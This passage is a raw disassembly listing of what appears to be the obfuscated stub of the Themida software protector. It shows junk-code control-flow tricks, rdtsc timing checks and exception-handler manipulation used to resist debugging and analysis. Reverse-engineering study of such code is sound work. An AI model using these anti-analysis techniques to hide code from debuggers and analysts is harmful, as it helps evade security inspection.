arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_573FFF	endp

; ---------------------------------------------------------------------------
		popa
		push	0D1A0F775h
		mov	ecx, [esi]
		jbe	short loc_574084
		mov	[ebp+60B3211h],	ebx
		add	esi, [esp+24h]
		sub	[ebp+60B2359h],	ebx
		lodsw
		xor	[ebp+60B335Dh],	eax
		add	eax, [esp+24h]
		jmp	loc_57404E
; ---------------------------------------------------------------------------
		dw 66EBh
		dd 8CD936F4h, 429F355Bh, 0EB23947Eh, 4929611Ah
		db 0F5h, 0EFh
; ---------------------------------------------------------------------------


loc_57404E:				; CODE XREF: Themida_:00574035j
		nop
		pusha
		mov	esi, 4AFB4811h
		popa
		push	eax
		jmp	loc_574067	; CODE XREF: Themida_:005740CAj
; ---------------------------------------------------------------------------
		dd 96A9B5B3h, 5886D2DFh
		db 7Ah,	3Bh, 0DFh
; ---------------------------------------------------------------------------


loc_574067:				; CODE XREF: Themida_:00574057j
		nop
		push	0
		push	edi
		call	sub_574073
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_574073	proc near		; CODE XREF: Themida_:0057406Bp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_574073	endp

; ---------------------------------------------------------------------------
		db 36h
; ---------------------------------------------------------------------------


loc_574084:				; CODE XREF: Themida_:00574017j
		lahf
		pop	ebp
		mov	ebx, 78408BB9h
		mov	[ebp+60B2061h],	esi
		cmc
		cmp	dword ptr [ebp+60E7CE7h], 0
		jnz	loc_5741C1
		jle	loc_5740AB
		sub	[ebp+60B32B9h],	edx


loc_5740AB:				; CODE XREF: Themida_:0057409Fj
		nop
		jbe	loc_5740BA
		jns	loc_5740BA
		pusha
		popa


loc_5740BA:				; CODE XREF: Themida_:005740ACj
					; Themida_:005740B2j
		push	eax
		push	eax
		push	edx
		pusha
		mov	eax, 2A8F005h
		call	sub_5740D5
		stosb
		dec	ecx
		jo	short near ptr loc_574057+3
		inc	ebx
		mul	byte ptr [esi+esi*2]
		mov	cl, 0CCh
		fisub	dword ptr [edx-22h]

; =============== S U B	R O U T	I N E =======================================



sub_5740D5	proc near		; CODE XREF: Themida_:005740C3p
		pop	ecx
		popa
		rdtsc
		jmp	loc_5740E3
; ---------------------------------------------------------------------------
		dw 80FFh
; ---------------------------------------------------------------------------
		sbb	ch, [eax+44h]


loc_5740E3:				; CODE XREF: sub_5740D5+4j
		pop	edx
		pop	eax
		nop
		push	0
		push	ecx
		call	sub_5740F1
		and	[ecx-3Dh], bl
sub_5740D5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5740F1	proc near		; CODE XREF: sub_5740D5+14p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5740F1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	20h, 5
		dd 0BD01FF24h, 60B2711h, 2C24448Bh, 8E860h, 0C7BB0000h
		dd 0B0E3CEC8h, 0AE9D5A3h, 8B000000h, 582FF72h, 21CED6CEh
		dd 13E95AACh, 53000000h, 364B4158h, 676DDD46h, 754C6C61h
		dd 8E1694C3h, 50619B09h, 11E9h,	34B1C00h, 60E13144h, 88CCDF70h
		dd 0F509CA2h, 4897B7Ch,	8E924h,	158C0000h, 0B8C7EB2Eh
		dd 858DC5E8h, 60E4E0Fh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 2AC35141h, 0DCF5A4FAh, 0A878BF60h, 61F835CDh
		dd 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 52ECF5C3h, 75034A97h
; ---------------------------------------------------------------------------
		cmc


loc_5741C1:				; CODE XREF: Themida_:00574099j
		add	eax, [esp+28h]
		sub	[ebp+60B3309h],	ebx
		jmp	loc_5741E0
; ---------------------------------------------------------------------------
		inc	edx
		retn	35D1h
; ---------------------------------------------------------------------------
		dd 0B6BCB4CDh, 0A8B36B80h, 0B84584DEh
; ---------------------------------------------------------------------------


loc_5741E0:				; CODE XREF: Themida_:005741CBj
		mov	eax, [eax+18h]
		mov	[ebp+60B0095h],	ebx
		inc	eax
		push	0
		push	ecx
		call	sub_5741F5
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5741F5	proc near		; CODE XREF: Themida_:005741EDp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5741F5	endp

; ---------------------------------------------------------------------------
		db 56h,	0B9h, 1Fh
		dd 11E9C769h, 0CB000000h, 0E6CABA60h, 88467B3Bh, 7B4077ECh
		dd 0D9A7FDD5h, 7CE38589h, 9589060Eh, 60B2819h, 0F6058F8h
		dd 0B509C6B7h, 60B2B71h, 78708B61h, 1CC683F9h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 8FC35242h, 3C91721Dh
		dd 20219D01h, 6A96060Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0DD7FC355h,	60A8C02Ch
		dd 31299529h, 0FE8060Bh, 2A000000h, 0FB88CB74h,	920B3403h
		dd 885CD333h, 0B5091B52h, 60B2B29h, 7C816158h, 2424h, 870F1000h
		dd 0DBh, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	42C35646h, 0E60E7BC3h, 50F81067h, 61606060h, 0F615952h
		dd 80h,	4896100h, 0CB806024h, 0DE8166F1h, 8B61AC5Eh, 6A282444h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 6094C351h, 2A759D89h, 9E9060Bh, 77000000h
		dd 53D2BA18h, 0A089139Ch, 820F9061h, 0Bh, 6E9h,	9B774D00h
		dd 5067735Fh, 128F0Fh, 52500000h, 310F5250h, 310F585Ah
		dd 310F5250h, 585A585Ah, 6D9D3190h, 8D060B16h, 0E4E0F85h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 0A8A0D823h, 6660D0FFh, 0E95FCA81h, 1659958Bh
		dd 9661060Bh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 19h,	4C35040h, 0C7C0B122h, 7403F8B7h, 810F2424h, 6
		dd 3299529h, 0BD8D060Bh, 60B242Dh, 13E9h, 0FFC73800h, 0FC0EF1C1h
		dd 0F9D37EBBh, 35AE768Bh, 3C648C74h, 6870Fh, 95890000h
		dd 60B33A5h, 51006AADh,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 6E9C3DBh,	0BD000000h, 3A53F022h
		dd 247C818Dh, 24h, 1C870F10h, 0F000001h, 682h, 45852900h
		dd 0F060B19h, 0D8Ch, 9D8B6000h,	60B1965h, 9A0E1ABFh, 50506125h
		dd 8B666052h, 61C18BC6h, 5060310Fh, 5A310F52h, 585A6158h
		dd 0E9240489h, 5, 0ACCD3D6Ch, 24448B63h, 56006A28h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 2FBD90Fh, 4F5E135Bh,	90FC82B2h, 61605260h, 4254BF5Eh
		dd 50617893h, 0DF8B6660h, 0F028BB66h, 6A9061h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0A7A984C3h, 62AFABC5h, 6E9B821h, 0FC000000h,	0DF9D3384h
		dd 858DF9D3h, 60E4E0Fh,	1958B60h, 0E9060B0Eh, 0Eh, 0DEBB9C7Bh
		dd 6376F6B5h, 0A740732Ah, 0FF61A962h, 57006AD0h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 13E9977Ch, 58000000h, 0F694E312h, 17049A77h,	48BBC66Fh
		dd 11377253h, 0CE9659Dh, 69000000h, 0A69D586Fh,	87FEA92Dh
		dd 38E298Ch, 6A242444h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 0D1EEC355h,	0B5312AA9h
		dd 60B06B5h, 858B60ABh,	60B0C8Dh, 6850Fh, 0BD8B0000h, 60B01D1h
		dd 0FA8161h, 0F000100h,	80882h,	0B5953100h, 8D060B18h
		dd 0B0535BDh, 0AE906h, 0D94A0000h, 4FFCA228h, 0CA5BFB00h
		dd 50006AADh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0AF535337h, 21BD317Ah, 89060B15h, 0B29E585h
		dd 0F1B58906h, 81060B30h, 24247Ch, 0F100000h, 11B87h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 14398CF7h, 810F30CAh, 1Bh, 15850Fh, 10E90000h, 3D000000h
		dd 0DDAF2CD2h, 0D99A4A1Ch, 30CB3C18h, 5090D789h, 138D0Fh
		dd 0EE90000h, 3A000000h, 343C93EBh, 6D01DDD2h, 2039C0A3h
		dd 24048931h, 599D29F8h, 8B060B0Fh, 6A282444h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 2470C357h, 83D46D38h, 7429224Ch, 94BF6660h, 60506108h
		dd 6744ABB9h, 1BBF6677h, 48961E1h, 56006A24h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 318E0E73h
		dd 9C8FD90Bh, 68B0F8Fh,	9000000h, 0B187985h, 0BD296006h
		dd 60B28CDh, 29CD8D23h,	8D61060Bh, 0E4E0F85h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 89F1080Ah, 0B09859Dh, 0F5B50906h, 0FF060B18h, 1810FD0h
		dd 0F8000000h, 24244403h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 51C35040h, 1840Fh, 50F50000h,	0D810Fh
		dd 8E90000h, 0C9000000h, 95CDFCE8h, 897DD836h, 6A2404h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0C97F56C3h, 8840Fh, 8C0F0000h, 2, 89AB6160h,	0B26E1BDh
		dd 89BD8D06h, 0F060B28h, 1987h,	13880F00h, 0E9000000h
		dd 0Eh,	56B66A17h, 0D7A8E2B7h, 0B57BE0A9h, 6AAD2781h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 335BC351h, 22ECE5CAh, 49850109h, 81060B0Fh, 28247Ch
		dd 0F100000h, 11687h, 359D8900h, 90060B10h, 50D88B60h
		dd 8A310F52h, 61585ACEh, 10E950h, 0E52F0000h, 5427693Fh
		dd 53DF443h, 2B8CC93Fh,	0F90AD26h, 0A8Fh, 858B6000h, 60B0CC9h
		dd 8B61C18Ah, 602C2444h, 3C15E381h, 50610A5Bh, 0FE9h, 0EE76CB00h
		dd 9B0E9CCh, 0CDDE0305h, 95E9AB4Fh, 6A240489h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 7E00C355h, 473B42CAh, 8947851Ah, 0B18A985h, 0F858D06h
		dd 6A060E4Eh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0EF18C353h, 0F99A94Eh,	3285h
		dd 11E96000h, 23000000h, 5A4ADC03h, 0B5A67541h,	51FFD74Eh
		dd 635000BEh, 14E8h, 86519700h,	0D089E31Dh, 75F652A5h
		dd 96EDDBB5h, 0CDE301FBh, 31615A82h, 0B27CD95h,	60D0FF06h
		dd 13599589h, 14E8060Bh, 88000000h, 694720BFh, 0D45E569Fh
		dd 7E4356BAh, 9C9CCEABh, 0F6E620Ah, 8Fh, 3615A00h, 6A282444h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 7996C356h, 9BF7A6C7h, 16041DFh, 0B0E698Dh
		dd 0AE906h, 9FE90000h, 86192DD6h, 80646015h, 5EFCAB61h
		dd 7CE38DFFh, 0BD83060Eh, 60E7CE3h, 330A7500h, 55B58DC0h
		dd 0FF060E8Ch, 81AD56E6h, 28247Ch, 77100000h, 448B500Eh
		dd 8D502C24h, 0E4E0F85h, 3D0FF06h, 97282444h, 858ADF8Bh
		dd 60E7CDFh, 474C084h, 4C75073Ah, 0AEC03257h, 2B5EFD75h
		dd 33FC52FBh, 0D18B49C9h, 0DB33C033h, 8AC132ACh, 8AEA8ACDh
		dd 6608B6D6h, 0D166EBD1h, 660973D8h, 66504135h,	5449F381h
		dd 0EB75CEFEh, 0D333C833h, 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h
		dd 5AC18B66h, 0F74D03Bh, 4C6835Eh, 5E985FFh, 5DE9060Bh
		dd 5EFFFFFFh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Bh,	0BDC35242h, 8154FDB0h, 0F3C6DD0h, 0A85h, 800F6000h
		dd 0
; ---------------------------------------------------------------------------
		mov	edx, eax
		popa
		stc
		jmp	loc_574A12
; ---------------------------------------------------------------------------
		sub	al, 0DDh
		retf
; ---------------------------------------------------------------------------
		dd 0A964E753h, 0B62F16C7h
		db 0C1h, 0CAh
; ---------------------------------------------------------------------------


loc_574A12:				; CODE XREF: Themida_:00574A00j
		pusha
		mov	di, 0D5FDh
		adc	di, 1AC3h
		popa
		mov	eax, [ebp+60B05E9h]
		push	0
		push	edx
		call	sub_574A2E
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_574A2E	proc near		; CODE XREF: Themida_:00574A26p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_574A2E	endp

; ---------------------------------------------------------------------------
		dw 13ECh
; ---------------------------------------------------------------------------
		sbb	[ebp+ebx*8+1Bh], edi
		aas
		jmp	loc_574A51
; ---------------------------------------------------------------------------
		xchg	eax, ebx
		and	eax, 0A5C28E41h
		dec	esp


loc_574A51:				; CODE XREF: Themida_:00574A45j
		jl	loc_574A6D
		jmp	loc_574A6D
; ---------------------------------------------------------------------------
		dd 0A9189CEAh, 0E79B5FF3h, 88C7FBBCh, 0C42209D7h
		db 20h
; ---------------------------------------------------------------------------


loc_574A6D:				; CODE XREF: Themida_:loc_574A51j
					; Themida_:00574A57j
		shl	eax, 1
		push	0
		push	ebp
		call	sub_574A7A
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_574A7A	proc near		; CODE XREF: Themida_:00574A72p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_574A7A	endp

; ---------------------------------------------------------------------------
		add	eax, 8503BC4Ch
		mov	[eax], ebp
		or	eax, [esi]
		ja	loc_574AA6
		pusha
		mov	edx, [ebp+60B0C15h]
		mov	ebx, 4DA8D272h
		popa


loc_574AA6:				; CODE XREF: Themida_:00574A93j
		sub	esi, esi
		push	0
		push	ecx
		call	sub_574AB3
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_574AB3	proc near		; CODE XREF: Themida_:00574AABp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_574AB3	endp

; ---------------------------------------------------------------------------
		db 99h
		dd 8544C777h, 96FC6E41h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 16h, 7DC35242h, 0AD66A7A0h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 17h, 76C35343h, 60BDD2D4h
		dd 8F0F52h, 5B000000h, 6880Fh, 890F0000h, 0
; ---------------------------------------------------------------------------
		popa
		shl	eax, 2
		push	0
		push	ecx
		call	sub_574B2F
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_574B2F	proc near		; CODE XREF: Themida_:00574B27p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_574B2F	endp

; ---------------------------------------------------------------------------
		db 0E9h
		dd 0EBC7E413h, 0F84BED4Eh, 0DD9D8960h, 0B7060B27h, 85036147h
		dd 60B242Dh, 0EE9BD29h,	6A96060Bh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0E93AC357h
		dd 6, 0FFBA0FFEh, 0FC604D1Ah, 0DE8h, 0DBC3E200h, 0A39D2FE3h
		dd 0D9B45870h, 61585B62h, 51006AADh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0DF9BF7A6h
		dd 64FD0041h, 0BD31D84Fh, 60B01B5h, 24247C81h, 10000000h
		dd 119870Fh, 90FC0000h,	10E9h, 0B04D1000h, 0CEBA1C6Dh
		dd 0FC7B39BDh, 0E9B2D496h, 0B060502Eh, 61F08BC7h, 21952990h
		dd 8B060B22h, 6A282444h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 2E6FC356h, 0B0FD345Dh
		dd 1D8589h, 5090060Bh, 50525052h, 5A310F52h, 0E9310F58h
		dd 13h,	188CC815h, 0CCE8B9B9h, 5C282323h, 0F7B41ECFh, 5A6C7B49h
		dd 50310F58h, 0F525052h, 0F585A31h, 5A616031h, 50585A58h
		dd 68B0Fh, 56600000h, 615A515Ah, 52006A90h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0E1B1C535h
		dd 13E860h, 910000h, 0BB745ADh,	0F5F7B037h, 757F4CDh, 933C80D1h
		dd 0F9EC807Fh, 61C1B558h, 4E0F858Dh, 6A060Eh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 22233DC3h
		dd 0CCCDDD66h, 0FFF59616h, 11E9D0h, 5B980000h, 6213BFB1h
		dd 1EB9A71Dh, 4A02587Eh, 3DD6C00h, 29242444h, 0B1315B5h
		dd 24448906h, 58D091Ch,	0C6060B10h, 0B284585h, 85C70006h
		dd 60E7E94h, 0
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp+60E7CE7h], 0
		push	0
		push	esi
		call	sub_574D29
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_574D29	proc near		; CODE XREF: Themida_:00574D21p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_574D29	endp

; ---------------------------------------------------------------------------
		db 0F3h, 21h, 5Fh
		dd 3281A6B9h, 0F42C0C6h, 880h, 2810F00h, 60000000h, 0B1B50961h
		dd 0F8060B21h, 51006A61h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 9AADFF83h, 9D0B60FCh
		dd 60B1B71h, 50644EBFh,	8C26105h, 68D0F00h, 9000000h, 0B00E185h
		dd 2D858B06h, 6A060B24h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 407FC356h, 6CB3EFB3h
		dd 89B58960h, 0FC060B12h, 219D8961h, 4A060B15h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 1CC35141h, 0E9F0DEBCh
		dd 0Ch,	0C72D6C70h, 3106CBDAh, 0F2923833h, 68B0Fh, 0B5010000h
		dd 60B1A21h, 0E904D26Bh, 9, 0B9DFC346h,	89A1D326h, 0F8C203D6h
		dd 7E9h, 48CBB400h, 6F82B9C3h, 56006A96h, 3E8h,	0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0E9BD89F8h
		dd 0E9060B22h, 10h, 5DD5DB7Dh, 9DD427E9h, 0C9A2FCAh, 7D21E180h
		dd 6E960ADh, 0A6000000h, 0E0DB6259h, 68B0F7Dh, 2B000000h
		dd 0B12F5BDh, 7C816106h, 2424h,	870F1000h, 126h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0AFC35242h, 4EFE3E74h
		dd 0F40132CAh, 6870F8Bh, 89000000h, 0B0729B5h, 870F5006h
		dd 15h,	10E9h, 0B8EA6000h, 0BF795E35h, 223AE6EBh, 0ABF33557h
		dd 240489EDh, 12E9h, 6A46BD00h,	0C65F885Fh, 0DD5CF6ABh
		dd 0E49939BBh, 8B3B06E5h, 0E9282444h, 0Eh, 4AAC1E37h, 0C6AAFF8Ah
		dd 1D7E5D08h, 5050FE6Bh, 0D6BE6052h, 6158BFC7h,	6660310Fh
		dd 66C912B9h, 6132D9B9h, 489585Ah, 56006A24h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 2003879Bh
		dd 8E9101Bh, 95000000h,	0F63DD78Ch, 8DDB9E6Eh, 0E4E0F85h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 92BBA041h, 39AEB283h, 0F60D7D6h,	680h, 7FC88100h
		dd 8B37F235h, 0B0F6195h, 0D0FF6106h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 94C35545h, 3CE9F8A0h, 0E9FFFFFDh
		dd 0Bh,	0B9727575h, 0C4FDA033h
		db 35h,	42h, 0ACh
; ---------------------------------------------------------------------------


loc_574FC3:				; CODE XREF: Themida_:loc_573D8Fj
		lea	eax, [ebp+60E9293h]
		push	0
		push	eax
		call	sub_574FD4
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_574FD4	proc near		; CODE XREF: Themida_:00574FCCp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_574FD4	endp

; ---------------------------------------------------------------------------
		lahf
		adc	[ecx], ah
		fiadd	word ptr [ebx-7Ah]
		scasd
		xlat
		cmpsb
		xchg	ebp, [ecx]
		mov	ch, 61h
		adc	[ebx], cl
		push	es
		nop
		jmp	loc_57500A
; ---------------------------------------------------------------------------
		dw 2419h
		dd 29D16E53h, 4D6B3A19h, 0F964F7E9h
		db 0C6h, 9Dh
; ---------------------------------------------------------------------------


loc_57500A:				; CODE XREF: Themida_:00574FF5j
		push	eax
		jl	loc_57501F
		push	eax
		push	edx
		pusha
		popa
		rdtsc
		js	$+6
		pop	edx
		pop	eax


loc_57501F:				; CODE XREF: Themida_:0057500Bj
		nop
		push	0
		push	esi
		call	sub_57502B
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57502B	proc near		; CODE XREF: Themida_:00575023p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_57502B	endp

; ---------------------------------------------------------------------------
		db 8Ch
; ---------------------------------------------------------------------------
		aas
		mov	[ebp+60B27C5h],	eax
		push	large dword ptr	fs:0
		push	0
		push	esi
		call	sub_575055
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_575055	proc near		; CODE XREF: Themida_:0057504Dp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_575055	endp

; ---------------------------------------------------------------------------
		movsb
		daa
		sub	[edi-0A4A76CFh], eax
		or	eax, cs:[esi]
		mov	eax, [esp]
		push	0
		push	ebp
		call	sub_57507E
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57507E	proc near		; CODE XREF: Themida_:00575076p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_57507E	endp

; ---------------------------------------------------------------------------
		ja	short near ptr loc_5750C5+7
		cmp	ch, dl
		sbb	al, 0C2h
		wait
		jmp	loc_5750A3
; ---------------------------------------------------------------------------
		dw 0CE3Fh
; ---------------------------------------------------------------------------
		test	al, 93h
		retf
; ---------------------------------------------------------------------------
		db 0F9h
		db 0D3h, 0A2h, 0C5h
; ---------------------------------------------------------------------------


loc_5750A3:				; CODE XREF: Themida_:00575095j
		jnp	loc_5750AF
		mov	[ebp+60B3371h],	ecx


loc_5750AF:				; CODE XREF: Themida_:loc_5750A3j
		mov	[ebp+60B0925h],	eax
		push	0
		push	ecx
		call	sub_5750C0
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5750C0	proc near		; CODE XREF: Themida_:005750B8p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx


loc_5750C5:				; CODE XREF: Themida_:0057508Ej
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_5750C0	endp

; ---------------------------------------------------------------------------
		dd 92055E29h, 0EE7E3C7Dh, 0B52B6004h, 60B18A1h,	61C28B66h
		dd 27619531h, 8964060Bh, 25h, 0E9952900h, 8D060B0Ah, 0E90A485h
		dd 49852906h, 89060B28h, 95890160h, 60B1925h, 253E9h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 5399CE1Eh, 0F5958B60h, 8B060B03h, 0DB8B61C2h, 0E8h
		dd 0ED815D00h, 60E909Dh, 12FF9CBCh, 11BD8300h, 60B16h
		dd 858B1874h, 60B2EC5h,	8B0000C6h, 0B276585h, 0C606h, 2F4D95FFh
		dd 0FF60060Bh, 0E78EBB5h, 0EF858D06h, 50060E78h, 7AE7858Dh
		dd 0FF50060Eh, 0B000D95h, 0CC48306h, 0B9606061h, 22707BEEh
		dd 6A6161h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 0B44DCCC3h, 0B58DC73Ch, 60E7AE7h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 13C35343h, 728CBA6Ah
		dd 60ACF80Ah, 68C0Fh, 95890000h, 60B03D5h, 61F28B66h, 18A0Fh
		dd 8DF50000h, 0B24BDBDh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 0C3C64727h, 7846EB5Fh
		dd 3E80F506h, 68840F00h, 0F000000h, 181h, 9501F900h, 60B010Dh
		dd 13E9A4h, 0AEA10000h,	0DDAE2E2Eh, 474BC085h, 162D95EAh
		dd 7C35A6F5h, 0FFCCE9D9h, 6AFFFFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 0A15158C3h, 5841E9Fh
		dd 8B666050h, 83F8B8FBh, 0F612DFCh, 0A86h, 5E900h, 0B7840000h
		dd 0B89C4530h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5752A5
; ---------------------------------------------------------------------------
		db 0FEh, 9, 0ABh
		dd 0A71414D3h
		db 0C6h
; ---------------------------------------------------------------------------


loc_5752A5:				; CODE XREF: Themida_:00575298j
		stosb
		mov	[ebp+60B0829h],	esi
		mov	eax, 7
		pusha
		jmp	loc_5752C7
; ---------------------------------------------------------------------------
		db 65h
		dd 14EA64D2h, 619B11ADh, 0E9F40F58h
		db 28h,	0D2h, 0A9h
; ---------------------------------------------------------------------------


loc_5752C7:				; CODE XREF: Themida_:005752B2j
		mov	ax, 886Dh
		popa
		mov	dword ptr [ebp+60B0C3Dh], 1
		push	0
		push	ebp
		call	sub_5752E1
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5752E1	proc near		; CODE XREF: Themida_:005752D9p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5752E1	endp

; ---------------------------------------------------------------------------
		xchg	eax, esi
		pop	edi
		add	al, 3Ah
		sub	ds:8D8DAA9Fh, cl
		xlat
		dec	ebp
		or	eax, [esi]
		jbe	loc_57530B
		add	[ebp+60B05D5h],	ebx


loc_57530B:				; CODE XREF: Themida_:005752FFj
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_575318
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_575318	proc near		; CODE XREF: Themida_:00575310p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_575318	endp

; ---------------------------------------------------------------------------
		adc	ebp, [ebx]
		aas
		mov	[ebp+60B1B71h],	edi
		xor	[ebp+60B329Dh],	edi
		mov	ebx, [esp+0Ch]
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 60E929Dh
		mov	eax, [ebx+0B8h]
		mov	[ebp+60E78EBh],	eax
		lea	eax, [ebp+60E9096h]
		mov	[ebx+0B8h], eax
		pop	ebp
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_57536F
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57536F	proc near		; CODE XREF: Themida_:00575367p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_57536F	endp

